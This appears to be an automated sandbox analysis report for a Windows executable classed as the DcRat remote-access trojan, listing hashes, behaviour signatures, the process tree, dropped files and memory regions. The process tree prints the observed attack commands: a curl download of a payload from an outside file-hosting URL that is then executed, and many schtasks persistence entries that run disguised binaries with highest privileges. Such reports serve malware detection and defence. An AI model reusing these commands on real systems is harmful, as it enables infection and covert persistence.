Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 11:15

General

  • Target

    Paradise Private.exe

  • Size

    855KB

  • MD5

    df367e723dc5759cdad30841910cd6af

  • SHA1

    eb6105e8f2462746108e94543e684c8d6a587dbb

  • SHA256

    a29663d874e5fba50215d6966591407d6c9d264371ec0e726bdf5a902cf11156

  • SHA512

    21f29b03a607ba8e3910ed27e802cf61db82dda0c1f3e9772127509dfd9eb7e81778463f47cbe4727116792eed83e11b91dc7fb72e455eb3b621201f9853dbb0

  • SSDEEP

    12288:KvGAa5J2tubG6rOH7Fso6veRSN2ff+zOe9egX7AlGXynGnIr9BqiXb1FP:KvGAMAubGeo60OegX7AoXyn6m7Vj

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Paradise Private.exe
    "C:\Users\Admin\AppData\Local\Temp\Paradise Private.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4668
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:1728
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/Z01XJyuAz2yPo4d4/client.bin --output C:\Windows\Speech\client.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2240
        • C:\Windows\system32\curl.exe
          curl --silent https://file.garden/Z01XJyuAz2yPo4d4/client.bin --output C:\Windows\Speech\client.exe
          3⤵
          • Drops file in Windows directory
          PID:3652
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\Windows\Speech\client.exe
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:552
        • C:\Windows\Speech\client.exe
          C:\Windows\Speech\client.exe
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          • Suspicious use of WriteProcessMemory
          PID:5092
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\ComponentCrt\sBEZl9whlNx1coUjXXPbcOghFKEeD7haTOPQzUr4aUDA.vbe"
            4⤵
            • Checks computer location settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4876
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\ComponentCrt\1lvoZv4qBcC2Me4L.bat" "
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1156
              • C:\ComponentCrt\chainreviewwinrefSvc.exe
                "C:\ComponentCrt/chainreviewwinrefSvc.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:336
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\eqKvXvM17R.bat"
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:964
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    8⤵
                      PID:4932
                    • C:\Windows\system32\PING.EXE
                      ping -n 10 localhost
                      8⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:3944
                    • C:\ComponentCrt\chainreviewwinrefSvc.exe
                      "C:\ComponentCrt\chainreviewwinrefSvc.exe"
                      8⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2976
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c del C:\Windows\Speech\client.exe
          2⤵
            PID:2064
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Application Data\WmiPrvSE.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4252
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default\Application Data\WmiPrvSE.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1452
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Application Data\WmiPrvSE.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1352
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\ssh\chainreviewwinrefSvc.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1796
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvc" /sc ONLOGON /tr "'C:\Users\All Users\ssh\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2772
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\ssh\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:5008
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\Windows\SysWOW64\Nui\SppExtComObj.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2000
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Windows\SysWOW64\Nui\SppExtComObj.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2360
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 11 /tr "'C:\Windows\SysWOW64\Nui\SppExtComObj.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4540
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\WmiPrvSE.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2540
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default User\WmiPrvSE.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4616
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\WmiPrvSE.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2168
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\ComponentCrt\explorer.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2148
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\ComponentCrt\explorer.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1644
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\ComponentCrt\explorer.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:1180
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 14 /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2572
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvc" /sc ONLOGON /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2512
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "chainreviewwinrefSvcc" /sc MINUTE /mo 6 /tr "'C:\ComponentCrt\chainreviewwinrefSvc.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2072

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ComponentCrt\1lvoZv4qBcC2Me4L.bat

          Filesize

          98B

          MD5

          4dafd9e9509ac96be6aa5baec659da4d

          SHA1

          a091552663ddea89536560f232b8339f318c9cbc

          SHA256

          0c53b640295abd25e8387957941e29f5c4e765376365409164ac39e3365a6ccf

          SHA512

          d290c162347e236e0e197c52afc4f4b33f1eba2498dfe2ad86c414c87ab70c9fbbd2132cd08bfb4137e8555a095ca9acb6675727a4a5f65ccc46141c16698132

        • C:\ComponentCrt\chainreviewwinrefSvc.exe

          Filesize

          1.8MB

          MD5

          11cca9e2c6dc9c2a728b89e7314ec26a

          SHA1

          58aec3b662a1c4e8b43cc454d90813ac89b5e612

          SHA256

          300072795259e7b2baa69a7a3d19ffea1844dffc391e710c654aa1b66b0e2197

          SHA512

          fb1fcff1c94e73b1227f65b237639e25604d614cfe365f2108bbbfdb489b97410fdc17411b8f00fc5b8f57d51080b4496010537a6a4ff9b15b7bdd24f89d0df7

        • C:\ComponentCrt\sBEZl9whlNx1coUjXXPbcOghFKEeD7haTOPQzUr4aUDA.vbe

          Filesize

          207B

          MD5

          b292d233456b16f26abc1aa07c9f5de0

          SHA1

          7b025705136101b5618d81d8ebf472335eebde43

          SHA256

          e75d13d4b079fafbd413fa8182c270f1f0f41b1b19b3469db12de226fed67b2d

          SHA512

          1c9c3846ab0e392dc6833de2a9238c91b6042b5095521196a3ceae8830edf7fb6d73118ed023b2e2daf287a48084fa8ee40241248a231cf668d5cc5e8f947ee4

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\chainreviewwinrefSvc.exe.log

          Filesize

          1KB

          MD5

          af6acd95d59de87c04642509c30e81c1

          SHA1

          f9549ae93fdb0a5861a79a08f60aa81c4b32377b

          SHA256

          7521ee2d065a78efcab55a194fbd78492f84b70595f139263875f4ea92b194d6

          SHA512

          93ab99bcf588fde553de3240e0d2b0cbd4e4bc5ef5e99d53f45a267d7ff30103a80b5a7aa1c52d6eff1e070af0ec82d2c0b8aafb7099742aa16810edc1815c3a

        • C:\Users\Admin\AppData\Local\Temp\eqKvXvM17R.bat

          Filesize

          168B

          MD5

          320d3e03f9e9d4ff6b603f4004e46f2f

          SHA1

          ab54292e2041761295ffe3dd64bf3973e06f55eb

          SHA256

          1041e8d1f006adf5b9657077569003d8f2c05de1807a34197ddf56618f3dee9e

          SHA512

          c3cb64af9b943df0634c11f168bd08bb6d95112778adf07fa32f9a3f7e7a83d0ecf7014cab87ca93c9ea8d91fc077db5ed22fc8a0bf4984791362e7c64f2cf0b

        • C:\Windows\Speech\client.exe

          Filesize

          2.1MB

          MD5

          bf4f13d82d217ed69d80124c50d9441c

          SHA1

          b7ee7d109f61371342e924e6a0c3505347dd318f

          SHA256

          51890bfc6f223014ff16f4bfa6ace8e2d2ec3c81eb6965406813b9ca32b08508

          SHA512

          1ba17e55d6d1f6fda99daffe3f11f995d5e8434901b2aea9105728ccbff1b81727d96bf8811a62e8367fca0ec23bdea331165b001088b183281164269668d2f4

        • memory/336-20-0x0000000002BD0000-0x0000000002BEC000-memory.dmp

          Filesize

          112KB

        • memory/336-21-0x0000000002C40000-0x0000000002C90000-memory.dmp

          Filesize

          320KB

        • memory/336-23-0x0000000002BF0000-0x0000000002C08000-memory.dmp

          Filesize

          96KB

        • memory/336-25-0x0000000002A90000-0x0000000002A9C000-memory.dmp

          Filesize

          48KB

        • memory/336-42-0x000000001BDA0000-0x000000001BE41000-memory.dmp

          Filesize

          644KB

        • memory/336-18-0x0000000002A70000-0x0000000002A7E000-memory.dmp

          Filesize

          56KB

        • memory/336-16-0x0000000000690000-0x000000000086A000-memory.dmp

          Filesize

          1.9MB